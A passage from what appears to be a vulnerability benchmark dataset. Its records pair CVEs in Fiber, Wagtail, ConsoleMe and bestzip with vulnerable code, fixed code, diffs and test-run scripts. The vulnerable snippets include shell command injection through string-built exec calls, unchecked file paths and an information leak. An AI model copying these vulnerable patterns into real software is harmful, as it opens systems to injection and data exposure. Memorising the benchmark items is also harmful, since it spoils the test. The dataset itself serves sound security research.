"8c3916dbf4ad2ed427d02c6eb63ae8b2fa8f019a", "file_path": "middleware/csrf/helpers.go", "start_line": 11, "end_line": 13, "snippet": "func compareStrings(a, b string) bool {\n\treturn subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1\n}"}], "vul_patch": "--- a/middleware/csrf/csrf.go\n+++ b/middleware/csrf/csrf.go\n@@ -38,10 +38,10 @@\n \t\t\tcookieToken := c.Cookies(cfg.CookieName)\n \n \t\t\tif cookieToken != \"\" {\n-\t\t\t\trawToken := getTokenFromStorage(c, cookieToken, cfg, sessionManager, storageManager)\n+\t\t\t\traw := getRawFromStorage(c, cookieToken, cfg, sessionManager, storageManager)\n \n-\t\t\t\tif rawToken != nil {\n-\t\t\t\t\ttoken = string(rawToken)\n+\t\t\t\tif raw != nil {\n+\t\t\t\t\ttoken = cookieToken // Token is valid, safe to set it\n \t\t\t\t}\n \t\t\t}\n \t\tdefault:\n@@ -67,13 +67,13 @@\n \t\t\t// If not using CsrfFromCookie extractor, check that the token matches the cookie\n \t\t\t// This is to prevent CSRF attacks by using a Double Submit Cookie method\n \t\t\t// Useful when we do not have access to the users Session\n-\t\t\tif !isCsrfFromCookie(cfg.Extractor) && extractedToken != c.Cookies(cfg.CookieName) {\n+\t\t\tif !isCsrfFromCookie(cfg.Extractor) && !compareStrings(extractedToken, c.Cookies(cfg.CookieName)) {\n \t\t\t\treturn cfg.ErrorHandler(c, ErrTokenInvalid)\n \t\t\t}\n \n-\t\t\trawToken := getTokenFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n+\t\t\traw := getRawFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n \n-\t\t\tif rawToken == nil {\n+\t\t\tif raw == nil {\n \t\t\t\t// If token is not in storage, expire the cookie\n \t\t\t\texpireCSRFCookie(c, cfg)\n \t\t\t\t// and return an error\n@@ -83,7 +83,7 @@\n \t\t\t\t// If token is single use, delete it from storage\n \t\t\t\tdeleteTokenFromStorage(c, extractedToken, cfg, sessionManager, storageManager)\n \t\t\t} else {\n-\t\t\t\ttoken = string(rawToken)\n+\t\t\t\ttoken = extractedToken // Token is valid, safe to set it\n \t\t\t}\n \t\t}\n \n\n--- a/middleware/csrf/csrf.go\n+++ b/middleware/csrf/csrf.go\n@@ -1,4 +1,4 @@\n-func getTokenFromStorage(c *fiber.Ctx, token string, cfg Config, sessionManager *sessionManager, storageManager *storageManager) []byte {\n+func getRawFromStorage(c *fiber.Ctx, token string, cfg Config, sessionManager *sessionManager, storageManager *storageManager) []byte {\n \tif cfg.Session != nil {\n \t\treturn sessionManager.getRaw(c, token, dummyValue)\n \t}\n\n--- /dev/null\n+++ b/middleware/csrf/csrf.go\n@@ -0,0 +1,17 @@\n+func refererMatchesHost(c *fiber.Ctx) error {\n+\treferer := c.Get(fiber.HeaderReferer)\n+\tif referer == \"\" {\n+\t\treturn ErrNoReferer\n+\t}\n+\n+\trefererURL, err := url.Parse(referer)\n+\tif err != nil {\n+\t\treturn ErrBadReferer\n+\t}\n+\n+\tif refererURL.Scheme+\"://\"+refererURL.Host != c.Protocol()+\"://\"+c.Hostname() {\n+\t\treturn ErrBadReferer\n+\t}\n+\n+\treturn nil\n+}\n\n--- /dev/null\n+++ b/middleware/csrf/csrf.go\n@@ -0,0 +1,3 @@\n+func compareStrings(a, b string) bool {\n+\treturn subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-45128:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/fiber\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^Test_CSRF_ExpiredToken$ github.com/gofiber/fiber/v2/middleware/csrf\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-21683", "cve_description": "Wagtail is a Django based content management system focused on flexibility and user experience. When notifications for new replies in comment threads are sent, they are sent to all users who have replied or commented anywhere on the site, rather than only in the relevant threads. This means that a user could listen in to new comment replies on pages they have not have editing access to, as long as they have left a comment or reply somewhere on the site. A patched version has been released as Wagtail 2.15.2, which restores the intended behaviour - to send notifications for new replies to the participants in the active thread only (editing permissions are not considered). New comments can be disabled by setting `WAGTAILADMIN_COMMENTS_ENABLED = False` in the Django settings file.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/wagtail/wagtail", "patch_url": ["https://github.com/wagtail/wagtail/commit/5fe901e5d86ed02dbbb63039a897582951266afd"], "programing_language": "Python", "vul_func": [{"id": "vul_py_16_1", "commit": "335ece5", "file_path": "wagtail/admin/views/pages/edit.py", "start_line": 121, "end_line": 197, "snippet": "    def send_commenting_notifications(self, changes):\n        \"\"\"\n        Sends notifications about any changes to comments to anyone who is subscribed.\n        \"\"\"\n        relevant_comment_ids = []\n        relevant_comment_ids.extend(comment.pk for comment in changes['resolved_comments'])\n        relevant_comment_ids.extend(comment.pk for comment, replies in changes['new_replies'])\n\n        # Skip if no changes were made\n        # Note: We don't email about edited comments so ignore those here\n        if (not changes['new_comments']\n                and not changes['deleted_comments']\n                and not changes['resolved_comments']\n                and not changes['new_replies']):\n            return\n\n        # Get global page comment subscribers\n        subscribers = PageSubscription.objects.filter(page=self.page, comment_notifications=True).select_related('user')\n        global_recipient_users = [subscriber.user for subscriber in subscribers if subscriber.user != self.request.user]\n\n        # Get subscribers to individual threads\n        replies = CommentReply.objects.filter(comment_id__in=relevant_comment_ids)\n        comments = Comment.objects.filter(id__in=relevant_comment_ids)\n        thread_users = get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).prefetch_related(\n            Prefetch('comment_replies', queryset=replies),\n            Prefetch(COMMENTS_RELATION_NAME, queryset=comments)\n        ).exclude(\n            Q(comment_replies__isnull=True) & Q(**{('%s__isnull' % COMMENTS_RELATION_NAME): True})\n        )\n\n        # Skip if no recipients\n        if not (global_recipient_users or thread_users):\n            return\n        thread_users = [(user, set(list(user.comment_replies.values_list('comment_id', flat=True)) + list(getattr(user, COMMENTS_RELATION_NAME).values_list('pk', flat=True)))) for user in thread_users]\n        mailed_users = set()\n\n        for current_user, current_threads in thread_users:\n            # We are trying to avoid calling send_notification for each user for performance reasons\n            # so group the users receiving the same thread notifications together here\n            if current_user in mailed_users:\n                continue\n            users = [current_user]\n            mailed_users.add(current_user)\n            for user, threads in thread_users:\n                if user not in mailed_users and threads == current_threads:\n                    users.append(user)\n                    mailed_users.add(user)\n            send_notification(users, 'updated_comments', {\n                'page': self.page,\n                'editor': self.request.user,\n                'new_comments': [comment for comment in changes['new_comments'] if comment.pk in threads],\n                'resolved_comments': [comment for comment in changes['resolved_comments'] if comment.pk in threads],\n                'deleted_comments': [],\n                'replied_comments': [\n                    {\n                        'comment': comment,\n                        'replies': replies,\n                    }\n                    for comment, replies in changes['new_replies']\n                    if comment.pk in threads\n                ]\n            })\n\n        return send_notification(global_recipient_users, 'updated_comments', {\n            'page': self.page,\n            'editor': self.request.user,\n            'new_comments': changes['new_comments'],\n            'resolved_comments': changes['resolved_comments'],\n            'deleted_comments': changes['deleted_comments'],\n            'replied_comments': [\n                {\n                    'comment': comment,\n                    'replies': replies,\n                }\n                for comment, replies in changes['new_replies']\n            ]\n        })"}], "fix_func": [{"id": "fix_py_16_1", "commit": "5fe901e", "file_path": "wagtail/admin/views/pages/edit.py", "start_line": 121, "end_line": 197, "snippet": "    def send_commenting_notifications(self, changes):\n        \"\"\"\n        Sends notifications about any changes to comments to anyone who is subscribed.\n        \"\"\"\n        relevant_comment_ids = []\n        relevant_comment_ids.extend(comment.pk for comment in changes['resolved_comments'])\n        relevant_comment_ids.extend(comment.pk for comment, replies in changes['new_replies'])\n\n        # Skip if no changes were made\n        # Note: We don't email about edited comments so ignore those here\n        if (not changes['new_comments']\n                and not changes['deleted_comments']\n                and not changes['resolved_comments']\n                and not changes['new_replies']):\n            return\n\n        # Get global page comment subscribers\n        subscribers = PageSubscription.objects.filter(page=self.page, comment_notifications=True).select_related('user')\n        global_recipient_users = [subscriber.user for subscriber in subscribers if subscriber.user != self.request.user]\n\n        # Get subscribers to individual threads\n        replies = CommentReply.objects.filter(comment_id__in=relevant_comment_ids)\n        comments = Comment.objects.filter(id__in=relevant_comment_ids)\n        thread_users = get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).filter(\n            Q(comment_replies__comment_id__in=relevant_comment_ids) | Q(**{('%s__pk__in' % COMMENTS_RELATION_NAME): relevant_comment_ids})\n        ).prefetch_related(\n            Prefetch('comment_replies', queryset=replies),\n            Prefetch(COMMENTS_RELATION_NAME, queryset=comments)\n        )\n\n        # Skip if no recipients\n        if not (global_recipient_users or thread_users):\n            return\n        thread_users = [(user, set(list(user.comment_replies.values_list('comment_id', flat=True)) + list(getattr(user, COMMENTS_RELATION_NAME).values_list('pk', flat=True)))) for user in thread_users]\n        mailed_users = set()\n\n        for current_user, current_threads in thread_users:\n            # We are trying to avoid calling send_notification for each user for performance reasons\n            # so group the users receiving the same thread notifications together here\n            if current_user in mailed_users:\n                continue\n            users = [current_user]\n            mailed_users.add(current_user)\n            for user, threads in thread_users:\n                if user not in mailed_users and threads == current_threads:\n                    users.append(user)\n                    mailed_users.add(user)\n            send_notification(users, 'updated_comments', {\n                'page': self.page,\n                'editor': self.request.user,\n                'new_comments': [comment for comment in changes['new_comments'] if comment.pk in threads],\n                'resolved_comments': [comment for comment in changes['resolved_comments'] if comment.pk in threads],\n                'deleted_comments': [],\n                'replied_comments': [\n                    {\n                        'comment': comment,\n                        'replies': replies,\n                    }\n                    for comment, replies in changes['new_replies']\n                    if comment.pk in threads\n                ]\n            })\n\n        return send_notification(global_recipient_users, 'updated_comments', {\n            'page': self.page,\n            'editor': self.request.user,\n            'new_comments': changes['new_comments'],\n            'resolved_comments': changes['resolved_comments'],\n            'deleted_comments': changes['deleted_comments'],\n            'replied_comments': [\n                {\n                    'comment': comment,\n                    'replies': replies,\n                }\n                for comment, replies in changes['new_replies']\n            ]\n        })"}], "vul_patch": "--- a/wagtail/admin/views/pages/edit.py\n+++ b/wagtail/admin/views/pages/edit.py\n@@ -21,11 +21,11 @@\n         # Get subscribers to individual threads\n         replies = CommentReply.objects.filter(comment_id__in=relevant_comment_ids)\n         comments = Comment.objects.filter(id__in=relevant_comment_ids)\n-        thread_users = get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).prefetch_related(\n+        thread_users = get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).filter(\n+            Q(comment_replies__comment_id__in=relevant_comment_ids) | Q(**{('%s__pk__in' % COMMENTS_RELATION_NAME): relevant_comment_ids})\n+        ).prefetch_related(\n             Prefetch('comment_replies', queryset=replies),\n             Prefetch(COMMENTS_RELATION_NAME, queryset=comments)\n-        ).exclude(\n-            Q(comment_replies__isnull=True) & Q(**{('%s__isnull' % COMMENTS_RELATION_NAME): True})\n         )\n \n         # Skip if no recipients\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21683:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/wagtail\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-21683/bin/python ./wagtail/tests/manage.py test wagtail.admin.tests.pages.test_edit_page.TestCommenting.assertNeverEmailedWrongUser wagtail.admin.tests.pages.test_edit_page.TestCommenting.test_new_comment\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21683:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/wagtail\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch \n/workspace/PoC_env/CVE-2022-21683/bin/python ./wagtail/tests/manage.py test wagtail.admin.tests.pages.test_edit_page \n"}
{"cve_id": "CVE-2024-5023", "cve_description": "Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Netflix ConsoleMe allows Command Injection.This issue affects ConsoleMe: before 1.4.0.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/Netflix/consoleme", "patch_url": ["https://github.com/Netflix/consoleme/commit/2795a2bd553938a21c0643b37452971625ce67f5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_231_1", "commit": "b746782", "file_path": "consoleme/lib/templated_resources/requests.py", "start_line": 27, "end_line": 213, "snippet": "async def generate_honeybee_request_from_change_model_array(\n    request_creation: RequestCreationModel, user: str, extended_request_uuid: str\n) -> ExtendedRequestModel:\n    repositories_for_request = {}\n    primary_principal = None\n    t = int(time.time())\n    generated_branch_name = f\"{user}-{t}\"\n    policy_name = config.get(\n        \"generate_honeybee_request_from_change_model_array.policy_name\",\n        \"self_service_generated\",\n    )\n    repo_config = None\n\n    # Checkout Git Repo and generate a branch name for the user's change\n    for change in request_creation.changes.changes:\n        if primary_principal and change.principal != primary_principal:\n            raise Exception(\"Changes must all affect the same principal\")\n        primary_principal = change.principal\n        discovered_repository_for_change = False\n        if repositories_for_request.get(change.principal.repository_name):\n            continue\n        # Find repo\n        for r in config.get(\"cache_resource_templates.repositories\", []):\n            if r[\"name\"] == change.principal.repository_name:\n                repo_config = r\n                repo = Repository(\n                    r[\"repo_url\"], r[\"name\"], r[\"authentication_settings\"][\"email\"]\n                )\n                await repo.clone(depth=1)\n                git_client = repo.git\n                git_client.reset()\n                git_client.checkout(b=generated_branch_name)\n                repositories_for_request[change.principal.repository_name] = {\n                    \"main_branch_name\": r[\"main_branch_name\"],\n                    \"repo\": repo,\n                    \"git_client\": git_client,\n                    \"config\": r,\n                }\n                discovered_repository_for_change = True\n                break\n        if not discovered_repository_for_change:\n            raise Exception(\n                \"No matching repository found for change in ConsoleMe's configuration\"\n            )\n    request_changes = ChangeModelArray(changes=[])\n    affected_templates = []\n    for change in request_creation.changes.changes:\n        git_client = repositories_for_request[change.principal.repository_name][\n            \"git_client\"\n        ]\n        repo = repositories_for_request[change.principal.repository_name][\"repo\"].repo\n        main_branch_name = repositories_for_request[change.principal.repository_name][\n            \"main_branch_name\"\n        ]\n        git_client.checkout(\n            f\"origin/{main_branch_name}\", change.principal.resource_identifier\n        )\n        change_file_path = f\"{repo.working_dir}/{change.principal.resource_identifier}\"\n        with open(change_file_path, \"r\") as f:\n            yaml_content = yaml.load(f)\n\n        # Original\n        buf = io.BytesIO()\n        yaml.dump(yaml_content, buf)\n        original_text = buf.getvalue()\n        successfully_merged_statement = False\n        if not yaml_content.get(\"Policies\"):\n            yaml_content[\"Policies\"] = []\n        if isinstance(yaml_content[\"Policies\"], dict):\n            yaml_content[\"Policies\"] = [yaml_content[\"Policies\"]]\n\n        # The PolicyModel is a representation of a single (usually inline) policy that a user has requested be merged\n        # into a given template. If the policy is provided as a string, it's the contents of the full file (which\n        # should include the user's requested change)\n        if isinstance(change.policy, PolicyModel):\n            if isinstance(change.policy.policy_document[\"Statement\"], str):\n                change.policy.policy_document[\"Statement\"] = [\n                    change.policy.policy_document[\"Statement\"]\n                ]\n            for i in range(len(yaml_content.get(\"Policies\", []))):\n                policy = yaml_content[\"Policies\"][i]\n                if policy.get(\"PolicyName\") != policy_name:\n                    continue\n                if policy.get(\"IncludeAccounts\") or policy.get(\"ExcludeAccounts\"):\n                    raise ValueError(\n                        f\"The {policy_name} policy has IncludeAccounts or ExcludeAccounts set\"\n                    )\n                successfully_merged_statement = True\n\n                policy[\"Statement\"].extend(\n                    CommentedSeq(change.policy.policy_document[\"Statement\"])\n                )\n                yaml_content[\"Policies\"][i][\n                    \"Statement\"\n                ] = await minimize_iam_policy_statements(\n                    json.loads(json.dumps(policy[\"Statement\"]))\n                )\n            if not successfully_merged_statement:\n                yaml_content[\"Policies\"].append(\n                    {\n                        \"PolicyName\": policy_name,\n                        \"Statement\": change.policy.policy_document[\"Statement\"],\n                    }\n                )\n            with open(change_file_path, \"w\") as f:\n                yaml.dump(yaml_content, f)\n            # New\n            buf = io.BytesIO()\n            yaml.dump(yaml_content, buf)\n            updated_text = buf.getvalue()\n\n        elif isinstance(change.policy, str):\n            # If the change is provided as a string, it represents the full change\n            updated_text = change.policy\n            with open(change_file_path, \"w\") as f:\n                f.write(updated_text)\n        else:\n            raise Exception(\n                \"Unable to parse change from Honeybee templated role change request\"\n            )\n\n        request_changes.changes.append(\n            GenericFileChangeModel(\n                principal=primary_principal,\n                action=\"attach\",\n                change_type=\"generic_file\",\n                policy=updated_text,\n                old_policy=original_text,\n                encoding=\"yaml\",\n            )\n        )\n        git_client.add(change.principal.resource_identifier)\n        affected_templates.append(change.principal.resource_identifier)\n\n    pull_request_url = \"\"\n    if not request_creation.dry_run:\n        commit_title = f\"ConsoleMe Generated PR for {', '.join(affected_templates)}\"\n        commit_message = (\n            f\"This request was made through ConsoleMe Self Service\\n\\nUser: {user}\\n\\n\"\n            f\"Justification: {request_creation.justification}\"\n        )\n\n        git_client.commit(m=commit_message)\n        git_client.push(u=[\"origin\", generated_branch_name])\n        if repo_config[\"code_repository_provider\"] == \"bitbucket\":\n            bitbucket = BitBucket(\n                repo_config[\"code_repository_config\"][\"url\"],\n                config.get(\n                    repo_config[\"code_repository_config\"][\"username_config_key\"]\n                ),\n                config.get(\n                    repo_config[\"code_repository_config\"][\"password_config_key\"]\n                ),\n            )\n            pull_request_url = await bitbucket.create_pull_request(\n                repo_config[\"project_key\"],\n                repo_config[\"name\"],\n                repo_config[\"project_key\"],\n                repo_config[\"name\"],\n                generated_branch_name,\n                repo_config[\"main_branch_name\"],\n                commit_title,\n                commit_message,\n            )\n        else:\n            raise Exception(\n                f\"Unsupported `code_repository_provider` specified in configuration: {repo_config}\"\n            )\n\n    for repo_name, repo_details in repositories_for_request.items():\n        await repo_details[\"repo\"].cleanup()\n\n    if not pull_request_url and not request_creation.dry_run:\n        raise Exception(\"Unable to generate pull request URL\")\n\n    return ExtendedRequestModel(\n        id=extended_request_uuid,\n        request_url=pull_request_url,\n        principal=primary_principal,\n        timestamp=int(time.time()),\n        requester_email=user,\n        approvers=[],\n        request_status=RequestStatus.pending,\n        changes=request_changes,\n        requester_info=UserModel(\n            email=user,\n            extended_info=await auth.get_user_info(user),"}], "fix_func": [{"id": "fix_py_231_1", "commit": "2795a2b", "file_path": "consoleme/lib/templated_resources/requests.py", "start_line": 30, "end_line": 235, "snippet": "async def generate_honeybee_request_from_change_model_array(\n    request_creation: RequestCreationModel, user: str, extended_request_uuid: str\n) -> ExtendedRequestModel:\n    repositories_for_request = {}\n    primary_principal = None\n    t = int(time.time())\n    suffix = \"\".join(\n        random.choices(string.ascii_lowercase + string.digits, k=10)  # nosec\n    )\n    generated_branch_name = f\"{user}-{t}-{suffix}\"\n    policy_name = config.get(\n        \"generate_honeybee_request_from_change_model_array.policy_name\",\n        \"self_service_generated\",\n    )\n    repo_config = None\n\n    # Checkout Git Repo and generate a branch name for the user's change\n    for change in request_creation.changes.changes:\n        if primary_principal and change.principal != primary_principal:\n            raise Exception(\"Changes must all affect the same principal\")\n        primary_principal = change.principal\n        discovered_repository_for_change = False\n        if repositories_for_request.get(change.principal.repository_name):\n            continue\n        # Find repo\n        for r in config.get(\"cache_resource_templates.repositories\", []):\n            if r[\"name\"] == change.principal.repository_name:\n                repo_config = r\n                repo = Repository(\n                    r[\"repo_url\"], r[\"name\"], r[\"authentication_settings\"][\"email\"]\n                )\n                await repo.clone(depth=1)\n                git_client = repo.git\n                git_client.reset()\n                git_client.checkout(b=generated_branch_name)\n                repositories_for_request[change.principal.repository_name] = {\n                    \"main_branch_name\": r[\"main_branch_name\"],\n                    \"repo\": repo,\n                    \"git_client\": git_client,\n                    \"config\": r,\n                }\n                discovered_repository_for_change = True\n                break\n        if not discovered_repository_for_change:\n            raise Exception(\n                \"No matching repository found for change in ConsoleMe's configuration\"\n            )\n    request_changes = ChangeModelArray(changes=[])\n    affected_templates = []\n    for change in request_creation.changes.changes:\n        git_client = repositories_for_request[change.principal.repository_name][\n            \"git_client\"\n        ]\n        repo = repositories_for_request[change.principal.repository_name][\"repo\"].repo\n        main_branch_name = repositories_for_request[change.principal.repository_name][\n            \"main_branch_name\"\n        ]\n\n        change_file_path = os.path.abspath(\n            f\"{repo.working_dir}/{change.principal.resource_identifier}\"\n        )\n        clone_wd_path = os.path.abspath(repo.working_dir)\n        if os.path.commonprefix((clone_wd_path, change_file_path)) != clone_wd_path:\n            log.exception(\n                f\"User attempted to reference a file outside of the repository: {change_file_path} is not within {clone_wd_path}\"\n            )\n            raise ValueError(\"Unable to raise change request for this resource\")\n\n        try:\n            git_client.checkout(\n                f\"origin/{main_branch_name}\", \"--\", change.principal.resource_identifier\n            )\n        except Exception:\n            log.exception(\n                f\"Unable to checkout {main_branch_name} for {change.principal.resource_identifier}\"\n            )\n            raise ValueError(\"Unable to raise change request for this resource\")\n        with open(change_file_path, \"r\") as f:\n            yaml_content = yaml.load(f)\n\n        # Original\n        buf = io.BytesIO()\n        yaml.dump(yaml_content, buf)\n        original_text = buf.getvalue()\n        successfully_merged_statement = False\n        if not yaml_content.get(\"Policies\"):\n            yaml_content[\"Policies\"] = []\n        if isinstance(yaml_content[\"Policies\"], dict):\n            yaml_content[\"Policies\"] = [yaml_content[\"Policies\"]]\n\n        # The PolicyModel is a representation of a single (usually inline) policy that a user has requested be merged\n        # into a given template. If the policy is provided as a string, it's the contents of the full file (which\n        # should include the user's requested change)\n        if isinstance(change.policy, PolicyModel):\n            if isinstance(change.policy.policy_document[\"Statement\"], str):\n                change.policy.policy_document[\"Statement\"] = [\n                    change.policy.policy_document[\"Statement\"]\n                ]\n            for i in range(len(yaml_content.get(\"Policies\", []))):\n                policy = yaml_content[\"Policies\"][i]\n                if policy.get(\"PolicyName\") != policy_name:\n                    continue\n                if policy.get(\"IncludeAccounts\") or policy.get(\"ExcludeAccounts\"):\n                    raise ValueError(\n                        f\"The {policy_name} policy has IncludeAccounts or ExcludeAccounts set\"\n                    )\n                successfully_merged_statement = True\n\n                policy[\"Statement\"].extend(\n                    CommentedSeq(change.policy.policy_document[\"Statement\"])\n                )\n                yaml_content[\"Policies\"][i][\n                    \"Statement\"\n                ] = await minimize_iam_policy_statements(\n                    json.loads(json.dumps(policy[\"Statement\"]))\n                )\n            if not successfully_merged_statement:\n                yaml_content[\"Policies\"].append(\n                    {\n                        \"PolicyName\": policy_name,\n                        \"Statement\": change.policy.policy_document[\"Statement\"],\n                    }\n                )\n            with open(change_file_path, \"w\") as f:\n                yaml.dump(yaml_content, f)\n            # New\n            buf = io.BytesIO()\n            yaml.dump(yaml_content, buf)\n            updated_text = buf.getvalue()\n\n        elif isinstance(change.policy, str):\n            # If the change is provided as a string, it represents the full change\n            updated_text = change.policy\n            with open(change_file_path, \"w\") as f:\n                f.write(updated_text)\n        else:\n            raise Exception(\n                \"Unable to parse change from Honeybee templated role change request\"\n            )\n\n        request_changes.changes.append(\n            GenericFileChangeModel(\n                principal=primary_principal,\n                action=\"attach\",\n                change_type=\"generic_file\",\n                policy=updated_text,\n                old_policy=original_text,\n                encoding=\"yaml\",\n            )\n        )\n        git_client.add(change.principal.resource_identifier)\n        affected_templates.append(change.principal.resource_identifier)\n\n    pull_request_url = \"\"\n    if not request_creation.dry_run:\n        commit_title = f\"ConsoleMe Generated PR for {', '.join(affected_templates)}\"\n        commit_message = (\n            f\"This request was made through ConsoleMe Self Service\\n\\nUser: {user}\\n\\n\"\n            f\"Justification: {request_creation.justification}\"\n        )\n\n        git_client.commit(m=commit_message)\n        git_client.push(u=[\"origin\", generated_branch_name])\n        if repo_config[\"code_repository_provider\"] == \"bitbucket\":\n            bitbucket = BitBucket(\n                repo_config[\"code_repository_config\"][\"url\"],\n                config.get(\n                    repo_config[\"code_repository_config\"][\"username_config_key\"]\n                ),\n                config.get(\n                    repo_config[\"code_repository_config\"][\"password_config_key\"]\n                ),\n            )\n            pull_request_url = await bitbucket.create_pull_request(\n                repo_config[\"project_key\"],\n                repo_config[\"name\"],\n                repo_config[\"project_key\"],\n                repo_config[\"name\"],\n                generated_branch_name,\n                repo_config[\"main_branch_name\"],\n                commit_title,\n                commit_message,\n            )\n        else:\n            raise Exception(\n                f\"Unsupported `code_repository_provider` specified in configuration: {repo_config}\"\n            )\n\n    for repo_name, repo_details in repositories_for_request.items():\n        await repo_details[\"repo\"].cleanup()\n\n    if not pull_request_url and not request_creation.dry_run:\n        raise Exception(\"Unable to generate pull request URL\")\n\n    return ExtendedRequestModel(\n        id=extended_request_uuid,\n        request_url=pull_request_url,\n        principal=primary_principal,\n        timestamp=int(time.time()),\n        requester_email=user,\n        approvers=[],\n        request_status=RequestStatus.pending,\n        changes=request_changes,\n        requester_info=UserModel(\n            email=user,\n            extended_info=await auth.get_user_info(user),"}], "vul_patch": "--- a/consoleme/lib/templated_resources/requests.py\n+++ b/consoleme/lib/templated_resources/requests.py\n@@ -4,7 +4,10 @@\n     repositories_for_request = {}\n     primary_principal = None\n     t = int(time.time())\n-    generated_branch_name = f\"{user}-{t}\"\n+    suffix = \"\".join(\n+        random.choices(string.ascii_lowercase + string.digits, k=10)  # nosec\n+    )\n+    generated_branch_name = f\"{user}-{t}-{suffix}\"\n     policy_name = config.get(\n         \"generate_honeybee_request_from_change_model_array.policy_name\",\n         \"self_service_generated\",\n@@ -52,10 +55,26 @@\n         main_branch_name = repositories_for_request[change.principal.repository_name][\n             \"main_branch_name\"\n         ]\n-        git_client.checkout(\n-            f\"origin/{main_branch_name}\", change.principal.resource_identifier\n+\n+        change_file_path = os.path.abspath(\n+            f\"{repo.working_dir}/{change.principal.resource_identifier}\"\n         )\n-        change_file_path = f\"{repo.working_dir}/{change.principal.resource_identifier}\"\n+        clone_wd_path = os.path.abspath(repo.working_dir)\n+        if os.path.commonprefix((clone_wd_path, change_file_path)) != clone_wd_path:\n+            log.exception(\n+                f\"User attempted to reference a file outside of the repository: {change_file_path} is not within {clone_wd_path}\"\n+            )\n+            raise ValueError(\"Unable to raise change request for this resource\")\n+\n+        try:\n+            git_client.checkout(\n+                f\"origin/{main_branch_name}\", \"--\", change.principal.resource_identifier\n+            )\n+        except Exception:\n+            log.exception(\n+                f\"Unable to checkout {main_branch_name} for {change.principal.resource_identifier}\"\n+            )\n+            raise ValueError(\"Unable to raise change request for this resource\")\n         with open(change_file_path, \"r\") as f:\n             yaml_content = yaml.load(f)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7730", "cve_description": "The package bestzip before 2.1.7 are vulnerable to Command Injection via the options param.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/nfriedly/node-bestzip", "patch_url": ["https://github.com/nfriedly/node-bestzip/commit/45d4a901478c6a8f396c8b959dd6cf8fd3f955b6"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_168_1", "commit": "fcea252", "file_path": "lib/bestzip.js", "start_line": 66, "end_line": 93, "snippet": "const nativeZip = options =>\n  new Promise((resolve, reject) => {\n    const sources = Array.isArray(options.source)\n      ? options.source.join(\" \")\n      : options.source;\n    const command = `zip --quiet --recurse-paths ${\n      options.destination\n    } ${sources}`;\n    const zipProcess = cp.exec(command, {\n      stdio: \"inherit\",\n      cwd: options.cwd\n    });\n    zipProcess.on(\"error\", reject);\n    zipProcess.on(\"close\", exitCode => {\n      if (exitCode === 0) {\n        resolve();\n      } else {\n        // exit code 12 means \"nothing to do\" right?\n        //console.log('rejecting', zipProcess)\n        reject(\n          new Error(\n            `Unexpected exit code from native zip command: ${exitCode}\\n executed command '${command}'\\n executed inin directory '${options.cwd ||\n              process.cwd()}'`\n          )\n        );\n      }\n    });\n  });"}], "fix_func": [{"id": "fix_js_168_1", "commit": "45d4a90", "file_path": "lib/bestzip.js", "start_line": 66, "end_line": 95, "snippet": "const nativeZip = options =>\n  new Promise((resolve, reject) => {\n    const cwd = options.cwd || process.cwd();\n    const command = \"zip\";\n    expandSources(cwd, options.source, (err, sources) => {\n      const args = [\"--quiet\", \"--recurse-paths\", options.destination].concat(\n        sources\n      );\n      const zipProcess = cp.spawn(command, args, {\n        stdio: \"inherit\",\n        cwd\n      });\n      zipProcess.on(\"error\", reject);\n      zipProcess.on(\"close\", exitCode => {\n        if (exitCode === 